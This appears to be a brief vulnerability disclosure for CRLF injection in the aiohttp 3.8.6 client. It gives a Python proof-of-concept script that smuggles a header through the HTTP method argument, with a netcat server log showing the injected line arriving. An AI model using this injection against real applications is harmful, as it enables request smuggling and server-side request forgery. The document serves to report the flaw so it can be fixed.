aiohttp CRLF poc

aiohttp_client_example.py

import aiohttp
import asyncio

async def main():

    async with aiohttp.ClientSession() as session:
        async with session.request('GET / HTTP/1.1\r\nPwnedBy: jnovikov\r\n', 'http://localhost:5000') as response:
            print(response.status)
            print(await response.text())

asyncio.run(main())

server logs

nc -l 5000

GET / HTTP/1.1
PWNEDBY: JNOVIKOV
 / HTTP/1.1
Host: localhost:5000
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Python/3.11 aiohttp/3.8.6
Content-Length: 0

Current "aiohttp" version (3.8.6) is vulnerable to CRLF injection if user controls the HTTP method using aiohttp client.

This can allow attackers to exploit various SSRF vulnerabilities.